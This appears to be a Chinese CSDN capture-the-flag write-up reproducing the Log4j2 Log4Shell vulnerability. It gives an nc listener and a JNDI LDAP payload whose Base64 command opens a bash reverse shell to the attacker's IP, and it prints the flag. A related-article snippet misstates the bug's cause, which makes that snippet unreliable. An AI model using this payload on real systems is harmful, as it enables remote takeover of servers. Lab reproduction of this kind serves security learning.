CVE-2021-44228——Log4j2远程命令执行

最新推荐文章于 2024-07-18 20:13:39 发布

c0rdXy

最新推荐文章于 2024-07-18 20:13:39 发布

阅读量108

点赞数

文章标签： java 网络安全 log4j web安全

本文链接：https://blog.csdn.net/cardistry12138/article/details/133272023

版权

在这里插入图片描述
在kali上使用JNDIExploit-1.2-SNAPSHOT开启ldap服务

同时开启监听

nc -lvnp 8888

POC:

${jndi:ldap://192.168.59.128:1389/TomcatBypass/Command/Base64/L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTkuMTI4Lzg4ODggMD4mMQ==}

使用burp重发数据
在这里插入图片描述
反弹shell成功

得到flag

flag-{bmhfd9d608d-02eb-4eee-bd0f-410165a7f16c}

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

c0rdXy

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
CVE-2021-44228——Log4j2远程命令执行

Log4j2远程命令执行（CVE-2021-44228）
复制链接

扫一扫

log4j-api-2.12.4.ja和log4j-core-2.12.4.jar

04-27

提到的"避免log4j漏洞问题"可能指的是在2021年出现的严重安全漏洞——CVE-2021-44228，也被称为Log4Shell。这个漏洞允许攻击者通过注入恶意的JNDI（Java Naming and Directory Interface）链接来执行远程代码。...

apache-log4j-2.16.0-bin.rar

12-17

然而，2021年底，一个严重漏洞被发现，被称为“Log4Shell”或CVE-2021-44228，这个漏洞允许攻击者通过在日志记录中注入恶意代码，实现远程代码执行（RCE），对受影响的系统造成严重威胁。该漏洞源于Log4j2的一个...

参与评论您还未登录，请先登录后发表或查看评论

CVE-2021-44228——Log4j2-RCE漏洞复现

Li-D的博客

06-10

1783

Apache Log4j2是一个Java的日志组件，在特定的版本中由于其启用了lookup功能，从而导致产生远程代码执行漏洞。

log4j2远程代码执行漏洞（CVE-2021-44228）

流水不争先，争的是滔滔不绝

05-22

276

log4j2远程代码执行漏洞

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现

热门推荐

LiBai'S BLOG

01-05

2万+

这里写目录标题VuofocusDnslog出网测试JNDI注入反弹shell Vuofocus http://vulfocus.fofa.so/ 启动靶场 Dnslog出网测试 http://www.dnslog.cn/ payload GET方式提交 payload payload=${jndi:ldap://X.X.X.X/exp} payload=${jndi:ldap://5e0s0v.dnslog.cn/exp} 用payload打的时候发现服务器返回404 原因是因为GET数据传输

Log4j2远程命令执行（CVE-2021-44228）

qq_40646572的博客

05-12

1409

我采用的是较为简单便捷的方法进行复现，全程只是使用了JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具，另外，还可以使用ysoserial-0.0.6-SNAPSHOT-all.jar以及marshalsec-0.0.3-SNAPSHOT-all.jar。使用jndi注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar ，进行rmi注入。启动服务后，进入主页面，点击页面中的？链接，跳转到，目标地址。及时升级log4j组件。

log4j2 CVE-2021-44228 远程代码执行漏洞

读书买花长大

05-17

554

CVE-2021-44228

logging-log4j2-log4j-2.15.0-rc2.zip

12-13

- **安全补丁**：此版本主要针对CVE-2021-44228的安全漏洞进行了修复，这是一个非常严重的问题，可能导致远程代码执行。Log4j 2.15.0-rc2及时响应，通过更新解决了这个问题，保障了系统的安全性。 - **性能优化**...

log4j2-2.15.0RC2

12-17

2021年12月初，一个名为CVE-2021-44228的严重漏洞被公开，该漏洞影响了Log4j2的2.x版本，允许攻击者通过注入恶意代码来控制受影响的系统。这个漏洞被称为“Log4Shell”，其危害程度极高，因为它只需要在日志消息中...

log4j-2.15.0-rc2.zip

12-10

Log4Shell，又称为CVE-2021-44228，是一个极其严重的远程代码执行（RCE）漏洞，影响了Log4j 2.x版本。这个漏洞允许攻击者通过精心构造的JNDI（Java Naming and Directory Interface）链接来注入恶意代码，进而执行...

《JavaSE》---6.＜基础语法（Java三大程序控制结构）＞

m0_73456341的博客

07-14

790

本篇博客主要讲解Java基础语法中的三大结构，一种顺序结构、两大分支结构i（if-else、swich-case）、四大循环结构（while、do while、fot、foreach）

Spring Security 授权

persistence_PSH的博客

07-14

872

在 loadUserByUsername 方法，在查询数据库用户信息的时候，同时查询出用户的权限，这里以角色名代指权限。在 loadUserByUsername 方法，在查询数据库用户信息的时候，同时查询出用户的权限，这里以角色名代指权限。在 loadUserByUsername 方法，在查询数据库用户信息的时候，同时查询出用户的权限，这里以角色名代指权限。通过 RBAC 获取到用户的具体权限后，再通过 Security 的用户-权限-资源来进行权限控制。HttpSecurity 权限配置。

【Go系列】 Sync并发控制

u013379032的博客

07-14

997

在上一篇文章中，我们介绍了goroutine和channel，理论上，通过channel可以实现并发控制，但是其他语言的开发者可能更习惯一些原子操作的库。当然Go语言也会提供这样的库，所以我们今天了解一下sync库。

day04：Redis和店铺营业状态设置

m0_69266818的博客

07-15

809

介绍了Redis命令和用java操作redis还有营业额状态接口的书写

接口防刷！利用redisson快速实现自定义限流注解

最新发布

架构师小吴的博客

07-18

786

如登录接口，当用户使用手机号+验证码登录时，一般我们会生成6位数的随机验证码，并将验证码有效期设置为1-3分钟，如果对登录接口不加以限制，理论上，通过技术手段，快速重试100000次，即可将验证码穷举出来。解决思路：对登录接口加上限流操作，如限制一分钟内最多登录5次，登录次数过多，就返回失败提示，或者将账号锁定一段时间。在日常开发中，一些重要的对外接口，需要加上访问频率限制，以免造成资��损失。ok，通过以上两步，即可完成我们的限流注解了，下面通过一个接口验证下效果。

【Java算法】前缀和下

2302_79806056的博客

07-18

658

这段代码实现了一个寻找数组中具有相等数量的0和1的最长子数组长度的算法。具体来说，它使用了前缀和（prefix sum）的概念以及哈希映射（HashMap）来优化查找过程。初始化哈希映射：计算前缀和：检查相等数量的0和1：更新哈希映射：返回结果：这种方法的时间复杂度为O(n)，因为我们只遍历数组一次，并且对每个元素执行常数时间的操作。空间复杂度也是O(n)，最坏情况下需要存储n个前缀和值。初始化阶段:开始遍历数组:继续

【JAVA】相关程序组件

qq_44077764的博客

07-15

143

【JAVA】相关程序组件

深入剖析 Java 中 Spring Bean 的生命周期

weixin_42545951的博客

07-12

696

在 Java 开发中，Spring 框架是广泛使用的企业级应用开发框架。理解 Spring Bean 的生命周期对于开发者来说至关重要，这也是面试中经常会被问到的重要知识点。

apache log4j2 任意代码执行漏洞(cve-2021-44228)

09-18

Apache Log4j2是一个广泛使用的开源日志管理工具。然而，最近发现了一个严重的漏洞，被命名为CVE-2021-44228。这个漏洞允许攻击者通过恶意构造的日志事件来执行任意代码，导致系统被远程攻击者完全控制。漏洞是由于Log4j2中的PatternLayout布局处理器存在一个特定的模式转换字符（%d、%i、%m、%p等）被恶意利用的问题。攻击者可以将恶意代码嵌入到日志事件中，并通过向受影响的Log4j2实例发送恶意请求触发此漏洞。一旦攻击成功，攻击者可以在受影响的应用程序上执行任意的远程代码。这个漏洞的危害性非常高，因为日志功能几乎在每个应用程序中都得到广泛使用。攻击者可以通过恶意日志事件执行各种攻击，包括远程命令执行、数据库注入、代码执行等。受影响的应用程序可能会泄露敏感数据、遭受损坏甚至被完全控制。解决这个漏洞的最佳方法是升级到Log4j2的最新版本。Apache已经发布了修复此漏洞的版本，更具体地说是2.15.0和2.16.0，这些版本不再处理这类模式转换字符。如果无法立即更新，可以考虑在应用程序中禁用PatternLayout布局处理器，或者使用其他日志管理框架替代Log4j2。此外，还建议及时监测应用程序的日志活动，并对异常的日志事件进行审查。如果遇到可疑的日志事件，应立即采取行动，例如暂停相关服务、排查日志事件来源、加强网络安全防护等。总之，Apache Log4j2的CVE-2021-44228漏洞是一个严重的安全威胁，可能导致系统被完全控制。及时升级到修复版本、加强监控和审查日志活动是应对该漏洞的关键步骤。

“相关推荐”对你有帮助么？

非常没帮助
没帮助
一般
有帮助
非常有帮助

提交